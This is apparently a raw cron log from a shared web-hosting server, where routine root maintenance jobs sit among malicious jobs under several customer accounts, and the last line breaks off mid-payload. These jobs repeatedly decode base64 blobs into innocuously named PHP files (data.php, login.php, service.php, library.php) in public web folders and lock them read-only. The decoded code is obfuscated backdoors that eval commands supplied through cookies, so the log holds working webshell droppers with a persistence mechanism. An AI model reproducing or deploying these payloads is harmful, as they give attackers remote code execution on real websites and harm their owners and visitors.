Apr 19 08:10:01 medusa CROND[23850]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:10:01 medusa CROND[23844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 08:10:01 medusa CROND[23851]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 08:10:01 medusa CROND[23859]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 08:11:02 medusa CROND[15056]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:11:02 medusa CROND[15057]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:11:02 medusa CROND[15058]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:11:02 medusa CROND[15059]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:11:02 medusa CROND[15062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:11:02 medusa CROND[15063]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:11:02 medusa CROND[15064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:11:02 medusa CROND[15065]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:11:02 medusa CROND[15067]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:11:02 medusa CROND[15070]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:11:02 medusa CROND[15071]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:11:02 medusa CROND[15072]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:11:02 medusa CROND[15075]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:12:02 medusa CROND[7455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:12:02 medusa CROND[7458]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:12:02 medusa CROND[7459]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:12:02 medusa CROND[7461]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:12:02 medusa CROND[7462]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:12:02 medusa CROND[7463]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:12:02 medusa CROND[7464]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:12:02 medusa CROND[7467]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:12:02 medusa CROND[7465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:12:02 medusa CROND[7468]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:12:02 medusa CROND[7471]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:12:02 medusa CROND[7473]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:12:02 medusa CROND[7476]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:12:02 medusa CROND[7472]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:13:02 medusa CROND[29393]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElM